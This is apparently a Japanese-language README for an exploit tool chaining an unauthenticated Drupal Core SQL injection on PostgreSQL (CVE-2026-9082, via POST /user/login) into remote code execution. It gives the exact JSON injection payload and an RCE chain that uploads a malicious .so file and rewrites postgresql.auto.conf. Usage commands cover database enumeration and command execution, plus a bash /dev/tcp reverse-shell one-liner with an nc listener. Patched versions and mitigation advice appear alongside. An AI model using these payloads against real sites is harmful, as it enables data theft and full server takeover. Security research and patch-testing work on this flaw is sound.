
Drupal Core PostgreSQL SQLi から RCE へ /user/login 経由 (CVE-2026-9082 / SA-CORE-2026-004)
PostgreSQL上のDrupal CoreにおけるPOST /user/login経由の認証なしSQLインジェクション。PostgreSQLのsession_preload_librariesを通じてリモートコード実行に昇格します。
既存の公開エクスプロイトがJSON:APIを標的としているのとは異なり、本ツールはログインエンドポイントを利用します。これは常に利用可能で、モジュールや公開コンテンツは必要ありません。
勧告: SA-CORE-2026-004 | リスク: 23/25 (極めて重大) | CISA KEV
PostgreSQLをバックエンドに使用しているDrupalサイトのみが脆弱です。
| ブランチ | 脆弱なバージョン | 修正済みバージョン |
|---|---|---|
| 11.3.x | < 11.3.10 | 11.3.10 |
| 11.2.x | < 11.2.12 | 11.2.12 |
| 11.0.x - 11.1.x | < 11.1.10 | 11.1.10 |
| 10.6.x | < 10.6.9 | 10.6.9 |
| 10.5.x | < 10.5.10 | 10.5.10 |
| 10.4.x | < 10.4.10 | 10.4.10 |
| 8.9.x - 10.3.x | すべて | サポート終了 - アップグレード |
DrupalのPostgreSQLエンティティクエリ条件ハンドラ(core/modules/pgsql/src/EntityQuery/Condition.php)は、大文字小文字を区別しないIN条件を構築する際に、$condition['value']を連想配列として反復処理し、ユーザー制御のキーを直接PDOプレースホルダ識別子に連結します。生成されるSQLにはLOWER(:<prefix><key>)が含まれ、<key>は攻撃者からそのまま渡されます。
このコードパスは、is_array($condition['value'])かつ$case_sensitive === FALSEの2つの条件が満たされた場合にのみ到達します。そのため、PostgreSQLのみが影響を受けます。MySQLやSQLiteにはこの大文字小文字を区別しないLOWER()分岐が存在しません。
PDOの名前付きパラメータパーサーは、:の後の[a-zA-Z0-9_]のみを認識します。それ以外の文字(|や)など)はプレースホルダトークンを終了させます。そのため、0||(subquery)のようなキーはプレースホルダ:prefix0(正当なキー0と共有)と、PostgreSQLにパラメータ化されずに渡されるリテラルSQL||(subquery)を生成します。
修正は、SQL生成前に攻撃者が指定したキーを破棄する、単一のarray_values()呼び出しです。
/user/login)POST /user/login?_format=json
{
"name": {
"0": "x",
"0||(SELECT CAST((SELECT version()) AS int))": "x"
},
"pass": "x"
}
nameフィールドは文字列ではなくJSONオブジェクトとして送信されます。Drupalはこれを大文字小文字を区別しない比較でエンティティクエリのIN条件に渡します。各配列キーに対して、DrupalはSQL内でLOWER(:<prefix><key>)を生成します。結果のクエリは次のようになります。
LOWER("users_field_data"."name") IN (
LOWER(:users_field_data_name0),
LOWER(:users_field_data_name0||(SELECT CAST((SELECT version()) AS int)))
)
PDOは両方のエントリで:users_field_data_name0をプレースホルダとして認識し(2つ目では|で停止)、両方を'x'にバインドします。残りの||(SELECT ...)はリテラルSQLとして通過します。置換後、PostgreSQLは次のものを受け取ります。
LOWER(name) IN (
LOWER('x'),
LOWER('x'||(SELECT CAST((SELECT version()) AS int)))
)
CAST(... AS int)は非整数データで失敗し、エラーメッセージがクエリ結果を漏洩させます。
データベースユーザーがPostgreSQLスーパーユーザーである場合、SELECTのみのインジェクションをRCEに昇格できます。
data_directory、スーパーユーザー状態を抜き出すsystem()を呼び出す_PG_init()を含むネイティブ.soモジュールをコンパイルするlo_create → lo_put → lo_export)を介して.soをdata_directoryにアップロードするpostgresql.auto.confを書き換え、session_preload_librariesとdynamic_library_pathを設定するpg_reload_conf()で設定を再読み込みするSQLインジェクション (cve_2026_9082_check.py):
リモートコード実行 (cve_2026_9082_rce.py):
dockerがローカルで利用可能(macOSでのクロスコンパイル用)pip install -r requirements.txt
# SQLインジェクションの検証
python3 cve_2026_9082_check.py http://target:8081
# プロキシ使用(Burp、mitmproxyなど)
python3 cve_2026_9082_check.py http://target:8081 --proxy http://127.0.0.1:8080
# すべてのデータベースを列出
python3 cve_2026_9082_sqli.py http://target:8081 --dbs
# データベース内のテーブルを列出
python3 cve_2026_9082_sqli.py http://target:8081 -D drupal --tables
# テーブル内のカラムを列出
python3 cve_2026_9082_sqli.py http://target:8081 -D drupal -T users_field_data --columns
# コマンド実行
python3 cve_2026_9082_rce.py http://target:8081 "id"
# リバースシェル
python3 cve_2026_9082_rce.py http://target:8081 \
"bash -c 'bash -i >& /dev/tcp/{lhost}/4444 0>&1'"
# リスナー
nc -lvnp 4444
脆弱なインスタンスに対するSQLi検証:

エラーベースインジェクションによるデータベース列挙:

リモートコード実行への昇格:

Drupalを直ちに更新し、修正済みバージョンにしてください:
すぐに更新できない場合:
nameフィールドにJSONオブジェクトを含む異常なPOST /user/loginリクエストをログで監視するパッチと詳細: SA-CORE-2026-004
| 日付 | イベント |
|---|---|
| 2026-05-20 | DrupalがSA-CORE-2026-004を公開、パッチリリース |
| 2026-05-22 | 実際の攻撃で活発に悪用され、CISA KEVに追加 |
| 2026-05-26 | AmbionicsがJSON:API経由のSQLi-to-RCE手法を公開 |
| 2026-06-07 | 本ツールをリリース |
/user/login) を記載した方: bitk & jfellus (YesWeHack)session_preload_libraries): N. Maccary / Ambionics (Lexfo)/user/loginベクトルに適応した方: r0m41nこのツールは許可されたセキュリティテストおよび教育目的でのみ提供されます。
コンピュータシステムへの不正アクセスは違法です。著作者は、本ソフトウェアの誤用について一切の責任を負いません。所有していないシステムをテストする前に、必ず適切な許可を取得してください。
pg_read_file()を介してコマンド出力を読み取る